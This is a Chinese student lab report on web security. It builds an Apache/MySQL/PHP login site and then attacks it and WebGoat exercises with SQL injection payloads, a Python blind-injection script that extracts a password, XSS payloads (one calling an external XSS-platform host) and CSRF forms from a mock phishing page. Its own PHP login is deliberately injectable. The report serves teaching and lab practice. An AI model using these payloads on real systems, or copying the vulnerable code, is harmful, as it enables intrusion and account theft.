网络对抗实验八--web综合

实 验 报 告

课程:网络对抗技术

班级:1912      姓名:陈发强      学号:20191206

实验名称:Web综合         实验日期:2022.5.23


(一)Web前端HTML

1-基础知识
2-Apache
3-一个简单的html网页

(二)Web前端javascipt

1-js基础知识
2-一个带js前端验证的登录页面
3-注入攻击

(三)Web后端:MySQL基础

1-安装mysql
2-简单使用

(四)Web后端:PHP基础

1-安装php
2-一个用户登录的php网页

(五)最简单的SQL注入,XSS攻击测试

1-最简单的sql注入
2-最简单的xss

(六)选做Webgoat或类似平台的SQL注入、XSS、CSRF攻击各一例
0-安装webgoat
1-SQL注入
2-XSS
3-CSRF
4-SSRF

实验体会

基础问题回答
问题1
问题2
问题3
问题4

实验目的

  1. 理解HTML,理解表单,理解GET与POST方法。
  2. 使用Apache启停HTTP服务。
  3. 掌握简单的网站前端和后端的编写编程知识
  4. 掌握SQL注入,xss、CSRF的基本攻击原理

实验内容

(1) Web前端HTML
能正常安装、启停Apache。理解HTML,理解表单,理解GET与POST方法,编写一个含有表单的HTML。
(2) Web前端javascipt
理解JavaScript的基本功能,理解DOM。
在(1)的基础上,编写JavaScript验证用户名、密码的规则。在用户点击登陆按钮后回显“欢迎+输入的用户名”
尝试注入攻击:利用回显用户名注入HTML及JavaScript。
(3) Web后端:MySQL基础:正常安装、启动MySQL,建库、创建用户、修改密码、建表
(4) Web后端:编写PHP网页,连接数据库,进行用户认证
(5) 最简单的SQL注入,XSS攻击测试
(6) 选做Webgoat或类似平台的SQL注入、XSS、CSRF攻击各一例。

实验过程

(一)Web前端HTML

1-基础知识

能正常安装、启停Apache。理解HTML,理解表单,理解GET与POST方法,编写一个含有表单的HTML。

1-1-html

HTML 超文本标记语言。

HTML 文件实际上是个文本文件,经过浏览器解析,形成看到的网页。

HTML 主要由一个个标签组成,和 XML 类似。

1-2-表单

表单

是 HTML 的一种标签。菜鸟教程:https://www.runoob.com/tags/tag-form.html

它之所以特殊,是因为它可以向其他的 URL 发起 get 请求 或 post 请求,并将表单中的数据写入 http 请求报文。

需要特殊指出的是,form 表单中不具有 name 属性的输入数据是不会被提交的。

因为 form 表单提交数据的方式是名值对(或者键值对),没有“名”,只有“值”,是非法的。

1-3-Get和POST的区别

老生长谈了,大家自行百度,我去年百度第一个也是 https://baijiahao.baidu.com/s?id=1674791753672583610&wfr=spider&for=pc

最重要的区别:Get 请求携带的数据是写在 http 报头的路径里面的(问号后面),POST 请求携带的数据是写在 http 报文后面的数据里面的。

携带数据的格式是键值对,类似于 JSON 和 python 中的字典数据结构。eg:name1:value1&name2:value2&......

用 burp 抓包给大家看一下,有个直观的感受。

一个简单的表单

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8">
		<title></title>
	</head>
	<body>
		<form action="http://www.baidu.com" method="POST">
			<p>username</p>
			<input type="text" name="username"/>
			<p>password</p>
			<input type="password" name = "passwd" />
			<p>sex</p>
			<input type="text" name="sex"/>
			<br><br>
			<input type="submit"/>
		</form>
	</body>
</html>

填写

POST 请求

把 表单中的 POST请求 改成 GET请求

2-apache

  1. 在 Ubuntu20.04 上安装 Apache
sudo apt-get install apache2
  1. 启停 Apache

查看Apache状态

sudo systemctl status apache2

阅读报错信息,它说我 80 端口被占用。

看眼端口的详细情况

sudo apt install net-tools
netstat -aptn

虽然它也没说是哪个进程占用,但是我想起来了我的phpstudy中的apache开的是80端口。

把 phpstudy 关了,重新启动 Apache

sudo xp  // 选2
service apache2 start      //或者service apache2 restart
sudo systemctl status apache2

他说成功启动了,验证一下

http://localhost 默认80端口

停止Apache服务

service apache2 stop

重要的默认安装路径

/etc/apache2/apache2.conf     Apache配置文件
/var/www/html                 网站根目录
/var/log/apache2              日志

3-一个简单的html网页

这个是我之前写的一个,CSS比较长,就先贴一部分,JS可以先忽略。

<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8" />
    <meta name="author" content="20191206陈发强" />
    <title>登录</title>
    <link rel="stylesheet" type="text/css" href="css/public.css"/>
    <link rel="stylesheet" type="text/css" href="css/login.css"/>
    <script src="js/login.js" type="text/javascript" charset="UTF-8"></script>
</head>
<body><!-------------------login-------------------------->
<div><p id="welcome" align="center"></p></div>
<div id="lgdiv" class="login">
    <form action="login.html" method="GET" id="loginForm"><h1><a href="index.html"><img src="img/temp/logo.png"></a></h1>
        <p></p>
        <div class="msg-warn hide"><b></b>公共场所不建议自动登录,以防账号丢失</div>
        <p><input id = "loginPhoneNumber" type="text" name="phoneNumber" value="" placeholder="手机号" onblur="checkPhoneNumber()"></p>
        <p id = "phoneCheck" class="checked" ></p>
        <p><input id="loginPwd" type="password" name="pwd" value="" placeholder="密码(不少于6位,包含数字或字母)" onblur="checkPassword()"></p>
        <p id = "pwdCheck" class="checked" ></p>
        <p><input id = "loginSubmit" type="text" name="" value="登  录" onmouseover="checkSubmit()"></p>
        <p class="txt"><a class="" href="reg.html">免费注册</a><a href="forget.html">忘记密码?</a></p></form>
</div>
</body>
</html>

login.css

.login {
    width: 100%;
    height: 100%;
    background: url("../img/temp/19.jpg") no-repeat;
    background-size: 100% 100%;
}

.login img, .reg img {
    width: auto;
}

.login form, .reg form {
    position: fixed;
    top: 15%;
    right: 140px;
    padding: 20px 0;
    text-align: center;
    z-index: 10;
    background: #fff;
}

(二)Web前端javascipt

1-js基础知识

1-1-JavaScript

JavaScript是一种编程语言,由浏览器解析并执行,主要用于控制网页和浏览器的行为(前端)。

其中事件-响应机制,是主要的和用户交互的方法。

后来 JavaScript 出圈了,用 JS 的人越来越多,JS 的功能也越来越丰富和强大,现在 JS 也可以用于后端开发。

目前 JavaScript 已经超过 PHP ,位于编程语言排行榜的第 6 名左右。

1-2-DOM

DOM 文档对象模型,是W3C组织推荐的处理可扩展置标语言的标准编程接口。它是一种与平台和语言无关的应用程序接口(API)。

DOM 是一种标准,各个编程语言通过实现这个标准,提供操控 DOM 的功能。

当网页被加载时,浏览器会创建页面的文档对象模型。

JS 操作 DOM 的简单例子:document.getElementById("demo").innerHTML = "Hello World!";

W3school 教程传送门:https://www.w3school.com.cn/js/js_htmldom_document.asp

1-3-JavaScript安全问题

前端的JavaScript代码是可以在浏览器里面被用户禁用的。

如果想用 JavaScript 做验证,那么这是很不安全的。因为用户可以把你的这段代码删除掉或者禁用掉。

一个典型的例子是文件上传漏洞。

比如我用 JavaScript 限制用户只能上传 png 后缀的图片,但用户可以通过禁用 JavaScript 代码,突破你的限制。

也可以使用 burp 抓包工具,在 JavaScript 运行完之后,篡改 http 数据包,从而突破限制。

总而言之,只用 JavaScript 做安全性的校验,是不可取的。

2-一个带js前端验证的登录页面

login.js

function checkPhoneNumber(){
	var reg = /^1(?:3\d|4[4-9]|5[0-35-9]|6[67]|7[013-8]|8\d|9\d)\d{8}$/;

	var num = document.getElementById("loginPhoneNumber");
	var phoneCheck = document.getElementById("phoneCheck");
	
	if(reg.test(num.value)){
		checkPhone = 0;
		phoneCheck.innerText ="";
	}else{
		phoneCheck.innerText ="请输入正确的手机号";
	}
}

function checkPassword(){
	var reg = /^[\w]{6,60}$/;
	
	var pwd = document.getElementById("loginPwd");
	var pwdCheck = document.getElementById("pwdCheck");
	
	if(reg.test(pwd.value)){
		checkPwd = 0;
		pwdCheck.innerText ="";
	}else{
		pwdCheck.innerText ="请输入正确的密码";
	}
}

function checkSubmit(){
	var lgSubmit = document.getElementById("loginSubmit")
	var phoneCheck = document.getElementById("phoneCheck");
	var pwdCheck = document.getElementById("pwdCheck");

	if(phoneCheck.innerText=="" && pwdCheck.innerText ==""){
		lgSubmit.type = "submit";
	}else{
		lgSubmit.type = "text";
	}
}

手机号检验和密码检验

登录成功后,回显用户名

3-注入攻击

注入 JS 脚本的根本要求:1.输入可控。2.页面要回显我输入的恶意代码。

在我这个前端中,用户名(手机号)是可能被注入攻击的地方

用户名是我可以控制的,而且用户名会在 “欢迎您 + 用户名” 中回显。

但是我的 JS 又限制了用户名只能是手机号。

这个时候就要利用 JS 的安全问题,F12 篡改 JS 代码,把 onblur 等校验函数都删了。

然后用户名用:<script>alert(1);</script>,提交表单。

但是由于我设计的用户名是手机号(11位),所以只能回显11个字符,而且不会进行 URL 解码,所以没成功。

目前 xss 平台最极限的代码长度也要 19 个字符

<sCRiPt/SrC=//xss8.cc/nFod>

所以我是没办法了,大佬或许还有绕过的办法。

当初设计使用手机号作为用户名,也有这方面的考虑。

下面我取消 11 个字符的长度限制,给大家演示一下简单的注入攻击。

这里偷个懒,由于是 GET 请求方式,我就直接改 URL 了,这样也能绕过 JS 校验。

http://192.168.144.137/flowershop/login.html?phoneNumber=%3Cscript%3Ealert(1);%3C/script%3E&pwd=123456

但是在我的浏览器上没成功。

这是因为现在的浏览器多数都能自动检测出这种注入攻击(XSS),他直接把攻击代码给搞没了。

接下来搞得隐蔽一点,把 GET 换成 POST,用 PHP 接受 POST 数据(前端的 JS 好像不能接受 POST 数据)

把表单 action 的地址换成 index.php ,method 换成 post

index.php

<?php
    $user = $_POST['phoneNumber'];
    $file = file_get_contents("index.html");

    if(isset($user)){
        $file = str_replace('<a href="./login.html" id="login">登录</a><a href="./reg.html" id="reg">注册</a>', "欢迎您:$user", $file);
    }
    echo $file;
?>

提交恶意代码(先删除负责校验的 JS 代码)

这回是成功弹窗了

我们可以在 index.php 解析出来的 HTML 源代码中找到注入的 JS 代码

当然也可以注入 HTML

(三)Web后端:MySQL基础

1-安装mysql

sudo apt-get install mysql-server      //用于运行 MySQL 服务,通常是在3306端口
sudo apt-get install mysql-client      //用于远程登录 MySQL 服务
# sudo apt-get install phpmyadmin      //图形化mysql管理工具(网页式)

启动 MySQL 服务

service mysql start           //stop,restart
sudo systemctl status mysql        //查看MySQL服务的状态

他说地址已经在使用,我又想起了 phpstudy 中的 MySQL 服务是开机自启动的,把它关掉。

sudo xp //2
service mysql restart
systemctl status mysql

这回正常了

2-简单使用

主要是为了后面 PHP 连接操作做准备,详细使用请参考 MySQL 官方手册。

2-1-登录 MySQL 服务,并进行安全配置

sudo mysql -uroot -p
exit

成功登录,可见 root 的密码是空,接下来进行安全性设置,顺便改个 root 密码

sudo mysql_secure_installation

2-2-创建数据库

CREATE DATABASE IF NOT EXISTS flowershop;
use flowershop

2-3-创建表

创建一个用户表

DROP TABLE IF EXISTS `user`;
CREATE TABLE `user` (
  `ID` varchar(32) NOT NULL,
  `NAME` varchar(20) CHARACTER SET utf8 COLLATE utf8_general_ci DEFAULT NULL,
  `PASSWORD` varchar(20) NOT NULL,
  `SEX` varchar(1) NOT NULL,
  `BIRTHDAY` datetime DEFAULT NULL,
  `EMAIL` varchar(60) DEFAULT NULL,
  `MOBILE` varchar(11) DEFAULT NULL,
  `ADDRESS` varchar(30) CHARACTER SET utf8 COLLATE utf8_general_ci DEFAULT NULL,
  `STATUS` decimal(6,0) NOT NULL,
  PRIMARY KEY (`ID`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;

2-4-插入数据

INSERT INTO `user` VALUES ('admin1', 'cfq', '1234qwer', 'T', null, '123123@qq.com', null, null, '0');
INSERT INTO `user` VALUES ('client1', null, 'aaaaaa', 'T', null, 'jdsf@qq.com', null, null, '1');
INSERT INTO `user` VALUES ('client2', null, 'asdfasdf', 'T', null, '234498237@qq.com', null, null, '1');
INSERT INTO `user` VALUES ('client3', '徐亮', '222222', 'T', '2010-01-01 00:00:00', 'xulaign@qq.com', '1882394', 'beijignsh', '1');
INSERT INTO `user` VALUES ('李四', '李四', 'adsjfl', 'T', '2021-01-01 00:00:00', 'ASDF', 'ASDF', 'ASDF', '1');

2-5-新建用户

每次都用最高权限的 root 用户登录数据库是存在安全隐患的

所以我们新建一个用于管理 flowershop 数据库的用户,可以远程连接

create user 'FSadmin'@'%' identified by 'FSadmin_123123';

//报错了,可能是因为已经创建过了,检查一下
use mysql;
select user,host from user;

确实已经创建过了

2-6-用户授权

使 FSadmin 拥有 flowershop 数据库的管理员权限

grant all privileges on flowershop.* to 'FSadmin'@'%' with grant option;
FLUSH PRIVILEGES;

退出当前用户,使用 FSadmin 登录 flowershop 数据库

mysql -uFSadmin -p flowershop

检查权限

insert into user values('admin','cfq','123123','T',null,null,null,null,0);

delete from user where id='admin';

没问题

2-7-修改密码

个人觉得 mysqladmin 命令挺好用的

mysqladmin -u用户名 -p旧密码 password 新密码

(四)Web后端:PHP基础

1-安装php

sudo apt-get install php

用 hello.php 验证

cd /var/www/html/
sudo vim hello.php

<?php
  echo "hello world!";
?>

成功执行了 PHP 代码

2-一个用户登录的php网页

连接数据库的 PHP 代码一般是单拿出写的,好处有很多。

conn.php

<?php

    $db_host   = 'localhost';         //数据库主机名称,一般都为localhost 
    $db_user   = 'FSadmin';           //数据库用户帐号,根据个人情况而定 
    $db_passw = 'FSadmin_123123';     //数据库用户密码,根据个人情况而定 
    $db_name  = 'flowershop';         //数据库具体名称,以刚才创建的数据库为准
    
    //连接数据库 
    $conn = mysqli_connect($db_host,$db_user,$db_passw) or die('mysql connect error:'.mysqli_error($conn)); 
    //设置字符集,如utf8和gbk等,根据数据库的字符集而定 
    mysqli_query($conn, "set names 'utf8'"); 
    //选定数据库 
    mysqli_select_db($conn, $db_name) or die('database change error:'.mysqli_error($conn)); 
?>

login.php

<?php 
	require('conn.php');

    session_start();

    $pn = $_POST['phoneNumber'];
    $pwd = $_POST['pwd'];
	//执行SQL语句(查询) 
    $sql="select count(*) from user where mobile='$pn' and password='$pwd'";
    var_dump($sql);
    $rs = mysqli_query($conn, $sql) or die('query failed'.mysql_error($conn));
    $row = mysqli_fetch_assoc($rs);

    if($row['count(*)']==1){
        $_SESSION['phoneNumber'] = $pn;
        echo "<script>window.location.href='index.php';</script>";
        
    }else{
        echo "<script>alert('用户名或密码错误');window.location.href='login.html';</script>";
    }
?>

index.php 也要改一下

<?php
    session_start();

    $user = $_SESSION['phoneNumber'];
    $file = file_get_contents("index.html");

    if(isset($user)){
        $file = str_replace('<a href="./login.html" id="login">登录</a><a href="./reg.html" id="reg">注册</a>', "欢迎您:$user", $file);
    }
    echo $file;
?>

正确登录,跳转到index.php

错误登录,回退到login.html

(五)最简单的SQL注入,XSS攻击测试

1-最简单的sql注入

在我这个登录中,最简单的SQL注入是在用户名之后,加上'#就可以不用密码登录任意存在的用户。

注入后的 SQL 语句会变成下面这样,and 后面的密码验证直接被注释掉了。

select count(*) from user where mobile='13238853277'#' and password='1234'

2-最简单的xss

之前的 xss 之前已经不行了,因为用户名不是我们可以任意控制的了,现在用户名必须来源于数据库中已有的数据。

但如果有注册功能,我们可以利用注册功能,向数据库写入一个我们可以控制的用户名,这样用户名还是可控的。

但其实我的数据库里面也限制了用户名(手机号)的长度,11个字符,所以行不通。

所以我的系统里面最简单的 xss 要结合 SQL 注入实现。

在用户名之后,加上'#<script>alert(1)</script>

(六)选做Webgoat或类似平台的SQL注入、XSS、CSRF攻击各一例

0-安装webgoat

方法一:运行官方Jar包

在 https://github.com/WebGoat/WebGoat/releases 中,下载最新的v8.2.2.jar
然后java -jar webgoat-server-8.2.2.jar
然后访问 http://127.0.0.1/WebGoat 即可

方法二:docker安装

docker search webgoat
docker pull webgoat/webgoat-8.0
docker images
systemctl restart docker
docker run -dt --name webgoat -p 8080:8080 --rm webgoat/webgoat-8.0
然后访问 http://localhost:8080/WebGoat 即可

1-sql注入

SQL Injection (intro) 这部分是基础知识介绍,翻译一下,看一看,就过了。

1-1-SQL Injection (advanced) 第3页

先拿到 user_data 表中的数据

jack' or '1'='1

再通过堆叠注入,拿到 user_system_data 表中的数据。

z';select * from user_system_data;--

他说让我再试一下 union select 。

因为 union 是求并集,所以字段数量要一样(7个字段),而且相应字段的数据类型还要一样

z' union select userid,user_name,user_name,user_name,password,cookie,userid from user_system_data--+

1-2-SQL Injection (advanced) 第5页

他说要用 Tom 用户登录。

先试一下能不能注册一个 Tom 用户。注册成功了。赶紧去登录,他说这不是 Tom 用户??

再试一下注册一个 tom 用户,他说 tom 用户已经存在了。说明我们要登录的用户名是 tom 而不是 Tom。

那就去登录吧,先随便试一下弱口令 123456,他说 'No results matched. Try Again.'

那我猜测它的 SQL 语句 大概是 select count(*) from user where username='tom' and passsword='123456';

试一下万能密码

tom' or 1=1--+
1' or 1=1--+

不太行,这种情况很有可能是过滤了单引号,换注册页面试试看。

注册页面的话 SQL 语句一般是 insert into user values('username','email','password');

我们尝试在 password 处进行注入攻击

password

123');select 1;--+

没有任何回显,这是个盲注。

注册页面还有另外一个功能,判断用户是否存在。如果它是单独用select count(*) from user where username='username';实现的话,也可能可以注入攻击,我们尝试一下。

首先注册一个 a 用户

然后尝试注入攻击

select count(*) from user where username='a' and 1=1--'

他说用户已经存在。但是 a' and 1=1-- 这个用户之前并没有注册过,这里很可能存在漏洞。

再尝试select count(*) from user where username='a' and 1=2--'

他说创建用户成功了。

说明这里确实存在注入的漏洞,我们的 payload 确实生效了。

那么这就是一个布尔盲注。

解释一下,如果 and 后面的条件为真,那么页面就会返回 already exist,反之,则会注册成功。

首先我们判断爆出当前数据库名字的长度。

a' and length(database())<10--  //false
a' and length(database())<20--  //false
a' and length(database())<30--  //false
a' and length(database())<40--  //false
a' and length(database())<50--  //true

手工跑还是太费劲了,我们让 burp 的 intruder 帮我们跑一下

发现database()的值的长度是 42

接下来让我们判断他的每一位的ascii码的值

ascii(substr(database(),1,1))=65--

也是让 burp 的 intruder 帮我们跑一下,从 a-z(97-122)和 A-Z (65-90),没跑出来

直接 0 - 128 跑,最后跑出来个 47 ,是斜杠 / ,奇葩

然后爆破第二个字符...

ascii(substr(database(),2,1))=65--

直接用 burp 的 cluster bomb 从第一个 1 字符爆破到第 42 个字符。

得到 database() = /hnme/webgoat/.webgoat-8.1.0//data/webgoat

之后我尝试了 MySQL 的那一套。企图从系统表 information_schema 中读出当前数据库下的所有表名。

a'and(select length(group_concat(table_name))<10000000000 from information_schema.tables where table_schema=database())--

结果他说条件判断为假 !我估计这就不是 MySQL 的数据库了。

这种情况下,表名、字段名基本靠猜。我们先自己猜一下,实在不行只能上 sqlmap 进行字典爆破了。

a' and length(password)=6--    //a用户是我注册的,我知道a的密码长度是6

哇,一次就猜对了!猜错了它会提示 Sorry the solution is not correct。

接下来猜 Tom 的。

burp还是有点累了,而且还要人工把 ascii 码转回来,容易出错。

写个 python 脚本跑一下吧。

先跑一下密码的长度

import requests
from string import printable

chars = printable

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0',
    'Accept': '*/*',
    'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
    'X-Requested-With': 'XMLHttpRequest'
}
cookies = {
    'JSESSIONID': 'pFKRxzQrYdvDYNgd8knuM2PmBhZR8yzII-HbSQ3h'
}
url = 'http://192.168.144.151:8080/WebGoat/SqlInjectionAdvanced/challenge'


def pwd_len():
    for i in range(0,1000+1):
        data = '''username_reg=tom'and(length(password)<{})--&email_reg=1@1.1&password_reg=123123&confirm_password_reg=123123'''.format(i)
        respond = requests.put(url=url, headers=headers, cookies=cookies, data=data)
        if 'already exists' in respond.text:
            return i-1

    
if __name__ == '__main__' :
    print(pwd_len())

密码长度 23

再爆破密码的字符

import requests
from string import printable

chars = printable

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0',
    'Accept': '*/*',
    'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
    'X-Requested-With': 'XMLHttpRequest'
}
cookies = {
    'JSESSIONID': 'pFKRxzQrYdvDYNgd8knuM2PmBhZR8yzII-HbSQ3h'
}
url = 'http://192.168.144.151:8080/WebGoat/SqlInjectionAdvanced/challenge'


def pwd_len():
    for i in range(0,1000+1):
        data = '''username_reg=tom'and(length(password)<{})--&email_reg=1@1.1&password_reg=123123&confirm_password_reg=123123'''.format(i)
        respond = requests.put(url=url, headers=headers, cookies=cookies, data=data)
        if 'already exists' in respond.text:
            return i-1

def pwd_str():
    result = ""
    for i in range(0,23+1):
        for char in chars:
            data = '''username_reg=tom'and(ascii(substr(password,{},1))={})--&email_reg=1@1.1&password_reg=123123&confirm_password_reg=123123'''.format(i,ord(char))
            respond = requests.put(url=url, headers=headers, cookies=cookies, data=data)
            #print(respond.text)
            if 'already exists' in respond.text:
                result += char
                print(result)
                break
    return result
        
if __name__ == '__main__' :
    #print(pwd_len())
    print(pwd_str())

经过几分钟的等待,终于爆破出了密码 thisisasecretfortomonly

拿去登录,通关!

2-xss

根本要求:我输入的数据,要能回显到受害者的 HTML 中。

危害就是执行 JS 脚本

分类:

  1. 反射型:通常是恶意链接的形式。点击这个链接,发送请求给服务器,服务器由于存在漏洞,就会返回给你一个带有攻击者构造好的 JS 脚本。

  2. 存储型:我把 JS 代码写入服务器的存储设备(数据库),别的用户从数据库中读取数据的时候,读到我的 JS 代码,就可能会被攻击。

  3. DOM型:通常是恶意链接的形式。点击这个链接,发送请求给服务器,服务器返回一个网页,由于网页中的 JS 脚本有漏洞,他就会操纵 DOM ,写入攻击者构造好的 JS 脚本。

2-1-第7页

先随便点点,发现下面有回显银行卡号,

然后我们做测试,<script>alert(20191206);</script>

成功执行了 JS 代码,说明这里确实存在 xss 漏洞。

但是我们现在 xss 攻击的是自己,是我们自己执行了恶意的 JS 代码。这是初学的时候很容易分不清的地方。

所以为了攻击别人,就要构造一个恶意的链接。

虽然地址栏一直没有变化,但是我们通过 burp 抓包可以看到,确实是 get 请求方式。

这样,我们就可以构造恶意链接了

http://192.168.144.151:8080/WebGoat/CrossSiteScripting/attack5a?QTY1=1&QTY2=1&QTY3=1&QTY4=1&field1=%3Cscript%3Ealert(20191206)%3B%3C%2Fscript%3E&field2=111

遗憾的是他 json 处理的时候做了转义,不能成功。

2-2-第10页

先说答案:start.mvc#test

java + mvc 感觉他这个像 spring 框架。

题目给的提示是 So, what is the route for the test code that stayed in the app during production?

也就说要找一个路由(产品测试的时候通常会有一个用户测试的路由,然后产品上线后也没删除)

F12 ,看看 network

正好有个叫和路由有关的 JS,点击去看看,发现一个叫 test 的路由,而且好像可以传参。

往下找到它对应的函数,调用了另外一个函数 this.lessonController.testHandler(param);

再找到 LessionController.js 中的 testHandler 函数

它又调用了另外一个函数 this.lessonContentView.showTestParam(param)

再找到 lessonContentView.js 中的 showTestParam 函数,终于找到正主

该函数直接将 test 路由传递过来的参数直接显示到页面上,存在XSS。

2-3-第11页

基于第10页的 test 路由,直接传参上去

没有回显,可能是函数本身不带输出,加上console.log(),控制台也没有输出。

<script>标签可能是不能用,换一个 <img> 标签

提交那个 output 的随机数就过了

3-csrf

跨站请求伪造:伪造的是什么呢?主要是伪造身份信息。

攻击者通过构造 URL(或其他方式,比如可以结合xss) ,让受害者访问某个服务器,并执行某种操作。

如果受害者点击链接时登录了,或者浏览器存有用户凭证,或者服务器端的认证后的会话还没结束,

攻击者就成功强迫受害者执行了某个操作,或者说攻击者把自己伪装成了受害者执行了某种操作。

3-1-第3页

先点一下试试,他说 Appears the request came from the original host

burp 抓包看看

那就把 original host 换一下吧,同时把 referer 也换一下(referer 用于标识从哪里跳转过来的)

他说成了

提交一下flag,他说不对,回头再看眼数据包,把下面的 csrf 改成 true,就行了。

emm,感觉这还不是 CSRF

我们自己模拟一个钓鱼网站,搭建在 192.168.144.1 上。

然后做一个表单

<form action="http://192.168.144.151:8080/WebGoat/csrf/basic-get-flag" method="POST">
<input name="csrf" value="true" />
<input name="submit" value="%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2"/>
<input type="submit" value=" click here "/>
</form>

然后受害者访问我这个钓鱼网站,点击 click here,由于受害者也同时打开了 webgoat,浏览器保持了 webgoat 的用户凭证。所以不用登陆就直接访问到了。

我们可以看到 origin 和 referer 都变成了 http://localhost

然后 cookie 是一样的。(其实 cookie 肯定是一样的,相当于你自己访问的嘛,(虽然你是被钓鱼网站欺骗了))

3-2-第4页

继续用上一个模拟钓鱼网站,表单根据 burp 抓的包改一下。

<form action="http://192.168.144.151:8080/WebGoat/csrf/review" method="POST">
<input name="reviewText" value="hello20191206" />
<input name="starts" value="100"/>
<input name="validateReq" value="2aa14227b9a13d0bede0388a7fba9aa9"/>
<input type="submit" value=" click here "/>
</form>

他说我好像成功了

可以看到 doxide 用户(受害者的登录用户),在受害者不知情的情况下(如果我把表单换成 ajax,或者 windows.onload),发布了一条评论。

3-3-第7页

难点在于构造一个有效的 json 数据格式。

由于 post 是 key=value 的形式,所以想办法把 等于号 放到 json 里面就好了

改一下表单

<form action="http://192.168.144.151:8080/WebGoat/csrf/feedback/message" method="POST" enctype="text/plain" >
<input name='{"name":"WebGoat","email":"webgoat@webgoat.org","subject":"suggestions","content":"WebGoat is the best!!","message":"' value='WebGoat is the best!!"}' type='hidden'>
<input type="submit" value="click here"/>
</form>

可以看到 post 数据确实是如期构造成了 json 格式。

然后就成功了

3-4-第8页

登录请求伪造:受害者点击链接后,登录了攻击方的账号,攻击方的在账号上做了一些手脚(比如记录操作日志...),从而获取受害者的数据(大概是这样)

先按照要求,注册一个用户(hacker)

burp 抓 login 的包

然后我们再把表单改一下

<form action="http://192.168.144.151:8080/WebGoat/login" method="POST">
<input name='username' value='csrf-doxide'/>
<input name='password' value='Cfq_123123' />
<input type="submit" value="click here"/>
</form>

然后受害者点击链接,会发现用户名已经变成了 csrf-doxide,solved!

4-ssrf

不差这两道简单的 SSRF 了

简单来说,就是把自己伪装成服务器访问内网资源。通常出现在用户能控制服务器请求资源的 URL 地址的地方。

CSRF 是把自己伪装成其他用户。

4-1-2

抓包,发现 url ,tom 改成 jerry

4-1-3

一样,抓包改一下 url 就行了

这两个题都是以服务器做跳板,访问了服务器里面的资源(正常是访问不到的)

实验体会

以前搭建 LAMP 的时候,多数都用的 phpstudy 快速搭建,非常方便,而且可以随意切换组件的版本。少数是直接用的 LAMP,总之就是从来没有一个个地搭建 apache 、MySQL 和 PHP 环境。

所以也是趁此机会,体验一下手动从头搭建一遍 LAMP 的环境。

CTF的时候,SQL注入多是都是 MySQL 数据库,这回 webgoat 用的应该不是 MySQL,搞的有点不适应,还好字段直接就猜出来了,之后就比较顺利。这也提醒我给字段起名字的时候,可以增加复杂度,万一真的系统存在 SQL 注入,也算是一个小小的防护手段。

总的来说,本次实验帮我回顾了一下 web 的开发 和 web 的基础安全问题。

在现实生活中,先拿到 web shell,再借助 web shell 拿到 服务器 shell 可以说是非常的常见。

也可能是因为 web 是应用层,应用程序员的开发水平参差不齐,以前很多 web 开发的程序员,都是不管安全问题的,像 SQL注入,文件上传,XSS 都是比较常见的。

随着攻击方的自动化工具越来越多,发起攻击的门槛越来越低,现在多数网站都做了安全防护,又是一页矛与盾的进化史。

近两周代表学校参加教育部的网络攻防演练,也是感觉到 “盾” 的力量越来越强,不管是 WAF 还是入侵检测系统,都十分的灵敏且智能,感觉我手上的 “矛”和人家的 “盾” 存在代差。

emm,多学一点是一点吧,哈哈。

基础问题回答

问题1

什么是表单?

表单是 HTML 的一个标签。它之所以特殊,是因为它可以向其他的 URL 发起 get 请求 或 post 请求,并将表单中的数据写入 http 请求报文。

问题2

浏览器可以解析运行什么语言?

非编程语言:HTML、CSS、XML

编程语言:JavaScript

其实主要还是看厂商支持什么,目前主流的浏览器都是配备了 JavaScript 解析引擎,所以能解析 JavaScript。

给大家看个有趣的东西:最近5月初 python 也进军了前端 !!推出了在浏览器运行 python 代码的 alpha 版本,芜湖

<html>
<head>
<link rel="stylesheet" href="https://pyscript.net/alpha/pyscript.css" />
<script defer src="https://pyscript.net/alpha/pyscript.js"></script>
</head>

<body>
<py-script>
print("hello py-script ~\nI am {}".format("20191206"))
</py-script></body>

</html>

官网: https://pyscript.net/ 由于是外网,网速比较慢。

问题3

WebServer支持哪些动态语言?

主流:PHP、Java(JSP、Servlet)、Python、JavaScript(Node.js)、ASP、Ruby、

除此之外还有:Go,C# 等

框架我就没算上了。

问题4

防范注入攻击的方法有哪些?

  1. 对特殊符号进行转义。
  2. 严格过滤用户输入。
  3. SQL预编译。(绕过:order by + case when)
  4. WAF防护
  5. 纵深防御:在数据库层面,严格设计用户和权限,设计视图(虚表),增加表名、列名的复杂度...
  6. 联合其他手段:比如一旦检测到一次注入攻击,就立即禁掉该用户的IP,防止后续注入攻击(一般都需要信息搜集,不太可能一次注入就达到目的)
posted @ 2022-05-22 20:48  191206  阅读(788)  评论(0编辑  收藏  举报